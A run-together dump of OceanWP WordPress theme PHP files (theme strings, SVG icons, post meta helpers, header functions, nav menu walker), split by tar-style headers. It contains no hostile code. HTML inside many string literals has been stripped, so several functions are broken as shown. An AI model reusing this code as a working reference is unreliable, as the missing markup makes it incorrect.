'ocean_wai_mobile_search', __( 'Search for:', 'oceanwp' ) ), 'owp-string-mobile-submit-search' => apply_filters( 'ocean_wai_mobile_search_submit', __( 'Submit search', 'oceanwp' ) ), 'owp-string-search-field' => apply_filters( 'ocean_wai_search_field', __( 'Insert search query', 'oceanwp' ) ), 'owp-string-search-form-label' => apply_filters( 'ocean_wai_search_form_label', __( 'Search this website', 'oceanwp' ) ), 'owp-string-close-search-form' => apply_filters( 'ocean_wai_close_search_form', __( 'Close this search form', 'oceanwp' ) ), 'owp-string-scroll-top' => apply_filters( 'ocean_wai_scroll_top', __( 'Scroll to the top of the page', 'oceanwp' ) ), 'owp-string-link-post-format' => apply_filters( 'ocean_wai_link_post_format', __( 'Visit this link', 'oceanwp' ) ), 'owp-string-new-tab-alert' => apply_filters( 'ocean_wai_new_tab_alert', __( 'Opens in a new tab', 'oceanwp' ) ), 'owp-string-read-more' => apply_filters( 'ocean_wai_read_more', __( 'Read more about', 'oceanwp' ) ), 'owp-string-read-more-article' => apply_filters( 'ocean_wai_read_more_article', __( 'Read more about the article', 'oceanwp' ) ), 'owp-string-current-read' => apply_filters( 'ocean_wai_current_read', __( 'You are currently viewing', 'oceanwp' ) ), 'owp-string-author-img' => apply_filters( 'ocean_wai_author_img', __( 'Post author avatar', 'oceanwp' ) ), // Woo Aria. 'owp-string-wai-next-product' => apply_filters( 'ocean_wai_next_product', __( 'View next product', 'oceanwp' ) ), 'owp-string-wai-prev-product' => apply_filters( 'ocean_wai_prev_product', __( 'View previous product', 'oceanwp' ) ), // Post Header templates. 'owp-string-posted-by' => apply_filters( 'ocean_posted_by', _x( 'By', 'Prefix for post author name', 'oceanwp' ) ), 'owp-string-written-by' => apply_filters( 'ocean_written_by', _x( 'Written by', 'Prefix for post author name', 'oceanwp' ) ), 'owp-string-all-posts-by' => apply_filters( 'ocean_wai_all_posts_by', _x( 'All posts by', 'Aria label prefix for post author link', 'oceanwp' ) ), 'owp-string-posted-on' => apply_filters( 'ocean_posted_on', _x( 'Published', 'Prefix for post published date', 'oceanwp' ) ), 'owp-string-updated-on' => apply_filters( 'ocean_updated_on', _x( 'Updated', 'Prefix for post modified date', 'oceanwp' ) ), 'owp-string-reading-one' => apply_filters( 'ocean_reading_one', _x( 'min read', 'Suffix for post reading time equal to 1', 'oceanwp' ) ), 'owp-string-reading-more' => apply_filters( 'ocean_reading_more', _x( 'mins read', 'Suffix for post reading time more than 1', 'oceanwp' ) ), 'owp-string-posted-in' => apply_filters( 'ocean_posted_in', _x( 'Posted in', 'Prefix for categories list', 'oceanwp' ) ), 'owp-string-tagged-as' => apply_filters( 'ocean_tagged_as', _x( 'Tagged as', 'Prefix for tags list', 'oceanwp' ) ), 'owp-string-wai-updated-on' => apply_filters( 'ocean_wai_updated_on', _x( 'Updated on', 'Aria label: post modified date', 'oceanwp' ) ), 'owp-string-wai-published-on' => apply_filters( 'ocean_wai_published_on', _x( 'Published on', 'Aria label: post published date', 'oceanwp' ) ), 'owp-string-wai-reading-time' => apply_filters( 'ocean_wai_reading_time', _x( 'Reading time', 'Aria label: post reading time', 'oceanwp' ) ), 'owp-string-wai-comments' => apply_filters( 'ocean_wai_comments', _x( 'Comments', 'Aria label: post comments', 'oceanwp' ) ), ) ); if ( is_rtl() ) { // do your stuff. } $owp_string = isset( $oceanwp_strings[ $value ] ) ? $oceanwp_strings[ $value ] : ''; /** * Print or return strings */ if ( $echo ) { echo $owp_string; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $owp_string; } } } oceanwp-svg.php000064400000012405151551031110007501 0ustar00 '', 'class' => '', 'title' => '', 'desc' => '', 'aria_hidden' => true, 'fallback' => false, ); // Parse args. $args = wp_parse_args( $args, $defaults ); if ( empty( $args['icon'] ) || 'none' === $args['icon'] ) { return; } // Define an icon. if ( false === array_key_exists( $args['icon'], oceanwp_theme_icons() ) ) { return; } // Set aria hidden. $aria_hidden = ''; if ( true === $args['aria_hidden'] ) { $aria_hidden = ' aria-hidden="true"'; } // Set aria labelledby. $aria_labelledby = ''; if ( $args['title'] && $args['desc'] ) { $aria_labelledby = ' aria-labelledby="title desc"'; } // Get icon class. $svg = ''; $has_icon = ''; $theme_icons = oceanwp_theme_icons(); $icon_class = oceanwp_theme_icon_class(); if ( false === $location ) { $has_icon = $theme_icons[ $args['icon'] ][ $icon_class ]; } else { $has_icon = esc_attr( $args['icon'] ); } $class = ''; if ( ! empty( $args['class'] ) ) { $class = $args['class']; } // Add SVG markup. $svg = ''; // If there is a title, display it. if ( $args['title'] ) { $svg .= '' . esc_html( $args['title'] ) . ''; } // If there is a description, display it. if ( $args['desc'] ) { $svg .= '' . esc_html( $args['desc'] ) . ''; } $svg .= ''; // Add some markup to use as a fallback for browsers that do not support SVGs. if ( $args['fallback'] ) { $svg .= ''; } $svg .= ''; return $svg; } /** * Allowed HTML for svg icons. */ function ocean_svg_icon_allowed_html() { $array = array( 'svg' => array( 'class' => array(), 'aria-hidden' => array(), 'role' => array(), ), 'use' => array( 'xlink:href' => array(), ), ); return apply_filters( 'ocean_svg_icon_allowed_html', $array ); } /** * Ocean SVG print icon */ function ocean_svg_print_icon( $args = array(), $echo = true ) { if ( empty( $args ) ) { return __( 'Please define default parameters in the form of an array.', 'oceanwp' ); } $icon = wp_kses( ocean_svg_icon( $args, false ), ocean_svg_icon_allowed_html() ); $icon = apply_filters( "ocean_svg_print_icon_{$icon}", $icon ); /** * Print or return icon */ if ( $echo ) { echo $icon; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $icon; } } /** * Return SVG markup. * * @param string $icon Icon class. * @param bool $echo Print string. * @param string $class Icon class. * @param string $title Optional SVG title. * @param string $desc Optional SVG description. * @param string $aria_hidden Optional SVG description. * @param boolean $fallback Fallback icon. * * @return string SVG Icon. */ function ocean_svg( $icon, $echo = true, $class = '', $title = '', $desc = '', $aria_hidden = true, $fallback = false ) { $owp_icon = wp_kses( ocean_svg_icon( array( 'icon' => $icon, 'class' => $class, 'title' => $title, 'desc' => $desc, 'area_hidden' => $aria_hidden, 'fallback' => $fallback, ), false ), ocean_svg_icon_allowed_html() ); /** * Print or return icon */ if ( $echo ) { echo $owp_icon; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $owp_icon; } } template-helpers.php000064400000050217151551031110010526 0ustar00%s', 'oceanwp' ), array( 'span' => array( 'class' => array(), ), ) ), get_the_title() ); edit_post_link( $edit_link, '', ''); } } /** * Return post author * * @since 3.1.0 */ if ( ! function_exists( 'ocean_get_post_author' ) ) { function ocean_get_post_author( $args = array(), $echo = true ) { global $post; $author_id = $post->post_author; $default_args = array( 'prefix' => oceanwp_theme_strings( 'owp-string-posted-by', false ), 'aria_prefix' => oceanwp_theme_strings( 'owp-string-all-posts-by', false ), 'before' => '', 'after' => '' ); $args = wp_parse_args( $args, $default_args ); $aria_label = sprintf( /* translators: %s: author name for link aria label. */ esc_html( $args['aria_prefix'] . ' ' . __( '%s', 'oceanwp' ) ), esc_html( get_the_author() ) ); $author = sprintf( /* translators: %s: author name for link meta. */ esc_html( $args['prefix'] . ' ' . __( '%s', 'oceanwp' ) ), '' ); $author_meta = $args['before'] . $author . $args['after']; $author_meta = apply_filters( 'ocean_meta_author', $author_meta ); if ( $echo ) { echo $author_meta; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $author_meta; } } } /** * Return post author bio description * * @since 3.1.0 */ if ( ! function_exists( 'ocean_get_post_author_bio' ) ) { function ocean_get_post_author_bio( $args = array(), $echo = true ) { global $post; $author_id = $post->post_author; $default_args = array( 'before' => '', 'after' => '' ); $args = wp_parse_args( $args, $default_args ); $author_bio = get_the_author_meta( 'description', $author_id ); $author_bio_meta = $args['before'] . $author_bio . $args['after']; $author_bio_meta = apply_filters( 'ocean_meta_author_bio', $author_bio_meta ); if ( $echo ) { echo $author_bio_meta; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $author_bio_meta; } } } /** * Return post pubslished date * * @since 3.1.0 */ if ( ! function_exists( 'ocean_get_post_date' ) ) { function ocean_get_post_date( $args = array(), $echo = true ) { $format = 'F j, Y'; $format = apply_filters( 'ocean_get_post_date_format', $format ); $default_args = array( 'prefix' => oceanwp_theme_strings( 'owp-string-posted-on', false ), 'date_format' => $format, 'before' => '', 'after' => '' ); $args = wp_parse_args( $args, $default_args ); $args = apply_filters( 'ocean_get_post_date_args', $args ); $date_format = $args['date_format']; $time_string = ''; $time_string = sprintf( $time_string, esc_attr( get_the_date( DATE_W3C ) ), esc_html( get_the_date( $date_format ) ) ); $date_meta = $args['before'] . $args['prefix'] . ' ' . $time_string . $args['after']; $date_meta = apply_filters( 'ocean_meta_date', $date_meta ); if ( $echo ) { echo $date_meta; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $date_meta; } } } /** * Return post modified date * * @since 3.1.0 */ if ( ! function_exists( 'ocean_get_post_modified_date' ) ) { function ocean_get_post_modified_date( $args = array(), $echo = true ) { $format = 'F j, Y'; $format = apply_filters( 'ocean_get_post_modified_date_format', $format ); $default_args = array( 'prefix' => oceanwp_theme_strings( 'owp-string-updated-on', false ), 'date_format' => $format ); $args = wp_parse_args( $args, $default_args ); $args = apply_filters( 'ocean_get_post_modified_date_args', $args ); $date_format = $args['date_format']; $time_string = ''; $time_string = sprintf( $time_string, esc_attr( get_the_modified_date( DATE_W3C ) ), esc_html( get_the_modified_date( $date_format ) ) ); $date_mod_meta = esc_html( $args['prefix'] ) . ' ' . $time_string; $date_mod_meta = apply_filters( 'ocean_meta_modified_date', $date_mod_meta ); if ( $echo ) { echo $date_mod_meta; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $date_mod_meta; } } } /** * Return post reading time * * @since 3.1.0 */ if ( ! function_exists( 'ocean_get_post_reading_time' ) ) { function ocean_get_post_reading_time( $echo = true ) { global $post; $content = get_post_field( 'post_content', $post->ID ); $word_count = str_word_count( strip_tags( $content ) ); $word_count = apply_filters( 'ocean_post_reading_word_count', $word_count ); $reading_time = ceil( $word_count / 200 ); $reading_time = apply_filters( 'oceanwp_post_reading_time', $reading_time ); $reading_time_txt = $reading_time > 1 ? oceanwp_theme_strings( 'owp-string-reading-more', false ) : oceanwp_theme_strings( 'owp-string-reading-one', false ); $owp_reading_time = sprintf( /* translators: %s: post reading time. */ esc_html( __( '%s', 'oceanwp' ) . ' ' . $reading_time_txt ), esc_html( $reading_time ) ); $owp_reading_time = apply_filters( 'ocean_meta_reading_time', $owp_reading_time ); if ( $echo ) { echo $owp_reading_time; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $owp_reading_time; } } } /** * Return list of post categories * * @since 3.1.0 */ if ( ! function_exists( 'ocean_get_post_categories' ) ) { function ocean_get_post_categories( $args = array(), $echo = true ) { $default_args = array( 'prefix' => oceanwp_theme_strings( 'owp-string-posted-in', false ), 'separator' => ' / ', 'before' => '', 'after' => '' ); $args = wp_parse_args( $args, $default_args ); $category_list = get_the_category_list( esc_html_x( $args['separator'], 'Category list separator', 'oceanwp' ) ); if ( $category_list ) { $category = sprintf( /* translators: %s: list of post categories. */ esc_html( $args['prefix'] . ' ' . __( '%s', 'oceanwp' ) ), $category_list ); } $category_meta = $args['before'] . $category . $args['after']; $category_meta = apply_filters( 'ocean_meta_category_list', $category_meta ); if ( $echo ) { echo $category_meta; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $category_meta; } } } /** * Return list of post tags * * @param array|bool * @since 3.1.0 */ if ( ! function_exists( 'ocean_get_post_tags' ) ) { function ocean_get_post_tags( $args = array(), $echo = true ) { $default_args = array( 'prefix' => oceanwp_theme_strings( 'owp-string-tagged-as', false ), 'separator' => ', ', 'before' => '', 'after' => '' ); $args = wp_parse_args( $args, $default_args ); $tag_list = get_the_tag_list( '', esc_html_x( $args['separator'], 'Tag list separator', 'oceanwp' ) ); $tags = ''; if ( $tag_list ) { $tags = sprintf( /* translators: %s: list of post tags. */ esc_html( $args['prefix'] . ' ' . __( '%s', 'oceanwp' ) ), $tag_list ); } $tag_meta = $args['before'] . $tags . $args['after']; $tag_meta = apply_filters( 'ocean_meta_tags_list', $tag_meta ); if ( $echo ) { echo $tag_meta; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $tag_meta; } } } /** * Return post author avatar * * @param array|bool * @since 3.1.0 */ if ( ! function_exists( 'ocean_get_post_author_avatar' ) ) { function ocean_get_post_author_avatar( $args = array(), $echo = true ) { global $post; $author_id = $post->post_author; $default_args = array( 'size' => 150, 'alt' => oceanwp_theme_strings( 'owp-string-author-img', false ), 'aria_hidden' => true, 'before' => '', 'after' => '' ); $args = wp_parse_args( $args, $default_args ); $avatar_url = ''; $author_avatar = $args['before'] . $avatar_url . $args['after']; $author_avatar = apply_filters( 'ocean_post_author_avatar', $author_avatar ); if ( $echo ) { echo $author_avatar; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $author_avatar; } } } /** * Display post featured image * * @param string|array|bool * @since 3.1.0 */ if ( ! function_exists( 'oceanwp_paint_post_thumbnail' ) ) { function oceanwp_paint_post_thumbnail( $img_size = 'full', $img_args = array(), $echo = true ) { // Don't execute if the post has no featured image, is attachment or is password protected. if ( ! has_post_thumbnail() || is_attachment() || post_password_required() ) { return; } // Define default image args. $def_img_args = array( 'class' => 'post-thumbnail', 'name' => 'ocean-post-thumb-xl' ); $img_args = wp_parse_args( $img_args, $def_img_args ); $img_size = apply_filters( 'ocean_single_post_thumbnail_img_size', $img_size ); $img_html = ''; $img_html = '
                  '; $img_html .= get_the_post_thumbnail( null, $img_size ); $img_html .= '
                  '; $img_html = apply_filters( 'ocean_single_post_thumbnail_img_html', $img_html ); // Paint the picture. if ( $echo ) { echo $img_html; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $img_html; } } } /** * Display post featured image as background image * * @param string|int * @return string * @since 3.1.0 */ if ( ! function_exists( 'ocean_paint_post_background' ) ) { function ocean_paint_post_background( $img_size = 'full', $postID = null ) { // Don't execute if the post has no featured image, is attachment or password protected. if ( ! has_post_thumbnail() || is_attachment() || post_password_required() ) { return; } // Get single post featured image URL. $img_thumb_url = apply_filters( 'ocean_single_header_background_img', get_the_post_thumbnail_url( $postID, $img_size ) ); if ( $img_thumb_url ) { $img_thumb_url_output = 'style="background-image: url(' . $img_thumb_url . ')"'; $img_thumb_url_output = apply_filters( 'ocean_single_header_background_img_output', $img_thumb_url_output ); echo $img_thumb_url_output; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } } /** * Display post excerpt * * @param array|bool * @since 3.1.0 */ if ( ! function_exists( 'ocean_get_post_excerpt' ) ) { function ocean_get_post_excerpt( $args = array(), $echo = true ) { $default_args = array( 'before' => '
                  ', 'after' => '
                  ', 'text_before' => '

                  ', 'text_after' => '

                  ', 'count' => '50' ); $args = wp_parse_args( $args, $default_args ); $excerpt_count = $args['count']; if ( has_excerpt() ) { $excerpt = wp_trim_words( get_the_excerpt(), $excerpt_count, '...' ); } else { $excerpt = get_the_content(); $excerpt = strip_shortcodes( $excerpt ); $excerpt = str_replace( ']]>', ']]>', $excerpt ); $excerpt = wp_trim_words( $excerpt, $excerpt_count, '...' ); if ( ! $excerpt ) { return; } } $post_excerpt = $args['before'] . $args['text_before'] . $excerpt . $args['text_after'] . $args['after']; $post_excerpt = apply_filters( 'oceanwp_post_excerpt', $post_excerpt ); if ( $echo ) { echo $post_excerpt; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $post_excerpt; } } } /** * Register new theme image sizes * * @since 3.1.0 */ if ( ! function_exists( 'ocean_register_image_size' ) ) { function ocean_register_image_size() { // Registers a new image sizes. add_image_size( 'ocean-thumb-m', 600, 600, true ); add_image_size( 'ocean-thumb-ml', 800, 450, true ); add_image_size( 'ocean-thumb-l', 1200, 700, true ); } } add_action( 'after_setup_theme', 'ocean_register_image_size', 5 ); /*-------------------------------------------------------------------------------*/ /* [ Single Blog Post ] /*-------------------------------------------------------------------------------*/ /** * Return single post header style from theme Customizer settings * * @since 3.1.0 */ if ( ! function_exists( 'ocean_single_post_header_style' ) ) { function ocean_single_post_header_style() { $style = get_theme_mod( 'oceanwp_single_post_header_style' ); $style = $style ? $style : 'default'; return apply_filters( 'oceanwp_single_post_header_style', $style ); } } /** * Return single post header style template * * @since 3.1.0 */ if ( ! function_exists( 'ocean_single_post_header_template' ) ) { function ocean_single_post_header_template() { $template_style = ocean_single_post_header_style(); $template_path = ''; if ( 'default' === $template_style ) { $template_path = 'partials/page-header'; } elseif ( 'sph_style_2' === $template_style ) { $template_path = 'partials/single/headers/header-2'; } elseif ( 'sph_style_3' === $template_style ) { $template_path = 'partials/single/headers/header-3'; } elseif ( 'sph_style_4' === $template_style ) { $template_path = 'partials/single/headers/header-4'; } elseif ( 'sph_style_5' === $template_style ) { $template_path = 'partials/single/headers/header-5'; } elseif ( 'sph_style_6' === $template_style ) { $template_path = 'partials/single/headers/header-6'; } elseif ( 'sph_style_7' === $template_style ) { $template_path = 'partials/single/headers/header-7'; } return apply_filters( 'oceanwp_single_post_header_template', $template_path ); } } /** * Return single post header meta style from theme Customizer settings * * @since 3.1.0 */ if ( ! function_exists( 'ocean_single_post_header_meta_style' ) ) { function ocean_single_post_header_meta_style() { $style = get_theme_mod( 'oceanwp_single_post_header_meta_style' ); $style = $style ? $style : 'spm_style_2'; return apply_filters( 'oceanwp_single_post_header_meta_style', $style ); } } /** * Return single post header meta style template * * @since 3.1.0 */ if ( ! function_exists( 'ocean_single_post_header_meta_template' ) ) { function ocean_single_post_header_meta_template() { $template_style = ocean_single_post_header_meta_style(); $template_path = ''; if ( 'spm_style_2' === $template_style ) { $template_path = 'partials/single/metas/meta-2'; } elseif ( 'spm_style_3' === $template_style ) { $template_path = 'partials/single/metas/meta-3'; } return apply_filters( 'oceanwp_single_post_header_meta_template', $template_path ); } } /** * Return single post header meta style template part * * @since 3.1.0 */ if ( ! function_exists( 'ocean_single_post_header_meta_template_part' ) ) { function ocean_single_post_header_meta_template_part() { $template_part = ocean_single_post_header_meta_template(); get_template_part( $template_part ); } add_action( 'ocean_single_post_header_meta', 'ocean_single_post_header_meta_template_part' ); } /** * Returns single post header meta * * @since 3.1.0 */ if ( ! function_exists( 'ocean_blog_single_header_meta' ) ) { function ocean_blog_single_header_meta() { // Default sections. $sections = array( 'author', 'date', 'categories', 'comments', 'mod-date', 'reading-time', 'tags' ); // Get sections from Customizer. $sections = get_theme_mod( 'oceanwp_blog_single_header_meta', $sections ); // Turn into array if string. if ( $sections && ! is_array( $sections ) ) { $sections = explode( ',', $sections ); } // Apply filters for easy modification. $sections = apply_filters( 'oceanwp_blog_single_header_meta', $sections ); // Return sections. return $sections; } } /** * Return single post header meta separator * * @since 3.1.0 */ if ( ! function_exists( 'ocean_blog_single_header_meta_separator_style' ) ) { function ocean_blog_single_header_meta_separator_style() { $separator = get_theme_mod( 'oceanwp_single_post_header_meta_separator', 'stylish' ); $separator = $separator ? $separator : 'stylish'; return apply_filters( 'oceanwp_blog_single_header_meta_separator_style', $separator ); } } /** * Return single post header meta separator class * * @return string * @since 3.1.0 */ if ( ! function_exists( 'ocean_blog_single_header_meta_separator_class' ) ) { function ocean_blog_single_header_meta_separator_class() { $separator = ocean_blog_single_header_meta_separator_style(); if ( 'none' === $separator ) { return; } $class = 'hms-style-'; if ( 'classic' === $separator ) { $class_style = $class . 'classic'; } elseif ( 'modern' === $separator ) { $class_style = $class . 'modern'; } elseif ( 'stylish' === $separator ) { $class_style = $class . 'stylish'; } return apply_filters( 'oceanwp_blog_single_header_meta_separator_class', $class_style ); } } /** * Display option to delete post comment on front-end. * * Available to users with permission to moderate comments * * @param array|bool * @since 3.1.0 */ if ( ! function_exists( 'ocean_delete_comment_link' ) ) { function ocean_delete_comment_link( $args = array(), $echo = true ) { $comment = get_comment(); $comment_ID = $comment->comment_ID; if ( ! current_user_can( 'moderate_comments', $comment_ID ) ) { return; } $comment_postID = $comment->comment_post_ID; $default_args = array( 'text' => __( 'Delete', 'oceanwp' ), 'before' => '', 'after' => '', 'aria' => __( 'Delete this comment', 'oceanwp' ) ); $args = wp_parse_args( $args, $default_args ); $aria_label = esc_attr( $args['aria'] ); $text = esc_html( $args['text'] ); $del_nonce = '_wpnonce=' . wp_create_nonce( 'delete-comment_' . $comment_ID ); $del_nonce = esc_html( $del_nonce ); $trash_url = 'comment.php?action=trashcomment&p=' . $comment_postID . '&c=' . $comment_ID . '&' . $del_nonce; $trash_url = esc_url( $trash_url ); $trash_url = admin_url( $trash_url ); $delete_link = sprintf( '%s', $trash_url, $aria_label, $text ); $delete_link = $args['before'] . $delete_link . $args['after']; $delete_link = apply_filters( 'oceanwp_delete_comment_link', $delete_link ); if ( $echo ) { echo $delete_link; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $delete_link; } } } /** * Single Blog Post Meta Separator * * @since 2.0 */ if ( ! function_exists( 'oceanwp_theme_single_post_separator' ) ) { function oceanwp_theme_single_post_separator() { $sep_style = get_theme_mod( 'ocean_blog_single_meta_separator', 'default' ); $sep_style = $sep_style ? $sep_style : 'default'; if ( 'none' === $sep_style ) { return; } $class = ''; if ( 'default' === $sep_style ) { $class = 'ospm-default'; } elseif ( 'modern' === $sep_style ) { $class = 'ospm-modern'; } elseif ( 'stylish' === $sep_style ) { $class = 'ospm-stylish'; } return apply_filters( 'oceanwp_single_post_separator', $class ); } } header-content.php000064400000010715151551031110010152 0ustar00'; if ( 'yes' === $bag ) { echo '
                  '; } echo oceanwp_wcmenucart_menu_item(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped if ( 'yes' === $bag ) { echo '
                  '; } echo ''; } } if ( ! function_exists( 'oceanwp_header_logo' ) ) { /** * Header logo * * @since 1.5.6 */ function oceanwp_header_logo() { get_template_part( 'partials/header/logo' ); } } if ( ! function_exists( 'oceanwp_header_social' ) ) { /** * Header social * * @since 1.5.6 */ function oceanwp_header_social() { get_template_part( 'partials/header/social' ); } } if ( ! function_exists( 'oceanwp_header_navigation' ) ) { /** * Header navigation * * @since 1.5.6 */ function oceanwp_header_navigation() { get_template_part( 'partials/header/nav' ); } } if ( ! function_exists( 'oceanwp_mobile_icon' ) ) { /** * Header navigation * * @since 1.5.6 */ function oceanwp_mobile_icon() { get_template_part( 'partials/mobile/mobile-icon' ); } } if ( ! function_exists( 'oceanwp_mobile_cart_icon_medium_header' ) ) { /** * Mobile cart icon for the Medium header style * * @since 1.5.6 */ function oceanwp_mobile_cart_icon_medium_header() { $header_style = oceanwp_header_style(); // Return if it is not medium or vertical header styles. if ( 'medium' !== $header_style && 'vertical' !== $header_style ) { return; } echo oceanwp_wcmenucart_menu_item(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } if ( ! function_exists( 'oceanwp_mobile_cart_icon_not_medium_header' ) ) { /** * Mobile cart icon if it is not the Medium header style * * @since 1.5.6 */ function oceanwp_mobile_cart_icon_not_medium_header() { $header_style = oceanwp_header_style(); // Return if medium or vertical header styles. if ( 'medium' === $header_style || 'vertical' === $header_style ) { return; } echo oceanwp_wcmenucart_menu_item(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } walker/assets/menus.css000064400000001002151551031110011156 0ustar00.field-megamenu, .field-megamenu-auto-width, .field-megamenu-columns, .field-megamenu-heading, .field-megamenu-widgetarea, .field-template, .field-mega_template { display: none; } .menu-item-depth-0 .field-megamenu, .menu-item-depth-0 .field-megamenu-auto-width, .menu-item-depth-0 .field-megamenu-columns, .menu-item-depth-0 .field-megamenu-heading, .menu-item-depth-1 .field-megamenu-widgetarea, .menu-item-depth-1 .field-template, .menu-item-depth-1 .field-mega_template { display: block; }walker/class-walker-edit-custom.php000064400000002143151551031110013356 0ustar00get_fields( $item, $depth, $args, $id ); $output .= str_replace( $position, $extra . $position, $item_output ); } /** * Add custom hook to add new field. * * @since 1.0.0 */ protected function get_fields( $item, $depth, $args = array(), $id = 0 ) { ob_start(); $item_id = intval( $item->ID ); // conform to https://core.trac.wordpress.org/attachment/ticket/14414/nav_menu_custom_fields.patch do_action( 'wp_nav_menu_item_custom_fields', $item_id, $item, $depth, $args ); return ob_get_clean(); } } // Walker_Nav_Menu_Edit_Customwalker/menu-walker.php000064400000034032151551031110010764 0ustar00megamenu_col ) ? ( 'col-' . $this->megamenu_col . '' ) : 'col-2'; if ( $depth === 0 && $this->megamenu != '' && 'full_screen' != oceanwp_header_style() && 'vertical' != oceanwp_header_style() ) { $output .= "\n$indent
                    \n"; } else { $output .= "\n$indent
                      \n"; } } /** * Starts the element output. * * @since 3.0.0 * @since 4.4.0 The {@see 'nav_menu_item_args'} filter was added. * * @see Walker::start_el() * * @param string $output Used to append additional content (passed by reference). * @param WP_Post $item Menu item data object. * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $id Current item ID. */ public function start_el( &$output, $item, $depth = 0, $args = null, $id = 0 ) { $args = (object) $args; global $wp_query; $indent = ( $depth ) ? str_repeat( "\t", $depth ) : ''; // Set some vars if ( $depth === 0 ) { $this->megamenu = get_post_meta( $item->ID, '_menu_item_megamenu', true ); $this->megamenu_auto_width = get_post_meta( $item->ID, '_menu_item_megamenu_auto_width', true ); $this->megamenu_col = get_post_meta( $item->ID, '_menu_item_megamenu_col', true ); $this->megamenu_heading = get_post_meta( $item->ID, '_menu_item_megamenu_heading', true ); } // Set up empty variable. $class_names = ''; $classes = empty( $item->classes ) ? array() : (array) $item->classes; $classes[] = 'menu-item-' . $item->ID; // Mega menu and Hide headings if ( $depth === 0 && $this->has_children && 'vertical' != oceanwp_header_style() ) { if ( $this->megamenu != '' && $this->megamenu_auto_width == '' ) { $classes[] = 'megamenu-li full-mega'; } elseif ( $this->megamenu != '' && $this->megamenu_auto_width != '' ) { $classes[] = 'megamenu-li auto-mega'; } if ( $this->megamenu != '' && $this->megamenu_heading != '' ) { $classes[] = 'hide-headings'; } } // Latest post for menu item categories if ( $item->category_post != '' && $item->object == 'category' && 'vertical' != oceanwp_header_style() ) { $classes[] = 'menu-item-has-children megamenu-li full-mega mega-cat'; } // Nav no click if ( $item->nolink != '' ) { $classes[] = 'nav-no-click'; } /** * Filters the arguments for a single nav menu item. * * @since 4.4.0 * * @param stdClass $args An object of wp_nav_menu() arguments. * @param WP_Post $item Menu item data object. * @param int $depth Depth of menu item. Used for padding. */ $args = apply_filters( 'nav_menu_item_args', $args, $item, $depth ); /** * Filters the CSS class(es) applied to a menu item's list item element. * * @since 3.0.0 * @since 4.1.0 The `$depth` parameter was added. * * @param array $classes The CSS classes that are applied to the menu item's `
                    • ` element. * @param WP_Post $item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args, $depth ) ); $class_names = $class_names ? ' class="' . esc_attr( $class_names ) . '"' : ''; /** * Filters the ID applied to a menu item's list item element. * * @since 3.0.1 * @since 4.1.0 The `$depth` parameter was added. * * @param string $menu_id The ID that is applied to the menu item's `
                    • ` element. * @param WP_Post $item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $id = apply_filters( 'nav_menu_item_id', 'menu-item-' . $item->ID, $item, $args, $depth ); $id = $id ? ' id="' . esc_attr( $id ) . '"' : ''; $output .= $indent . ''; $atts = array(); $atts['title'] = ! empty( $item->attr_title ) ? $item->attr_title : ''; $atts['target'] = ! empty( $item->target ) ? $item->target : ''; $atts['rel'] = ! empty( $item->xfn ) ? $item->xfn : ''; $atts['href'] = ! empty( $item->url ) ? $item->url : ''; /** * Filters the HTML attributes applied to a menu item's anchor element. * * @since 3.6.0 * @since 4.1.0 The `$depth` parameter was added. * * @param array $atts { * The HTML attributes applied to the menu item's `` element, empty strings are ignored. * * @type string $title Title attribute. * @type string $target Target attribute. * @type string $rel The rel attribute. * @type string $href The href attribute. * } * @param WP_Post $item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $atts = apply_filters( 'nav_menu_link_attributes', $atts, $item, $args, $depth ); $attributes = ''; foreach ( $atts as $attr => $value ) { if ( ! empty( $value ) ) { $value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value ); $attributes .= ' ' . $attr . '="' . $value . '"'; } } /** This filter is documented in wp-includes/post-template.php */ $title = apply_filters( 'the_title', $item->title, $item->ID ); /** * Filters a menu item's title. * * @since 4.4.0 * * @param string $title The menu item's title. * @param WP_Post $item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $title = apply_filters( 'nav_menu_item_title', $title, $item, $args, $depth ); // Output $item_output = $args->before; $item_output .= ''; $item_output .= $args->link_before . $title . $args->link_after; // Description if ( $item->description && 0 != $depth ) { $item_output .= '' . $item->description . ''; } $item_output .= ''; if ( ( $item->template || $item->mega_template ) && $this->megamenu != '' && 'vertical' != oceanwp_header_style() ) { ob_start(); include OCEANWP_INC_DIR . 'walker/template.php'; $template_content = ob_get_contents(); ob_end_clean(); $item_output .= $template_content; } if ( $item->megamenu_widgetarea && $this->megamenu != '' && 'vertical' != oceanwp_header_style() ) { ob_start(); dynamic_sidebar( $item->megamenu_widgetarea ); $sidebar_content = ob_get_contents(); ob_end_clean(); $item_output .= $sidebar_content; } $item_output .= $args->after; /** * Filters a menu item's starting output. * * The menu item's starting output only includes `$args->before`, the opening ``, * the menu 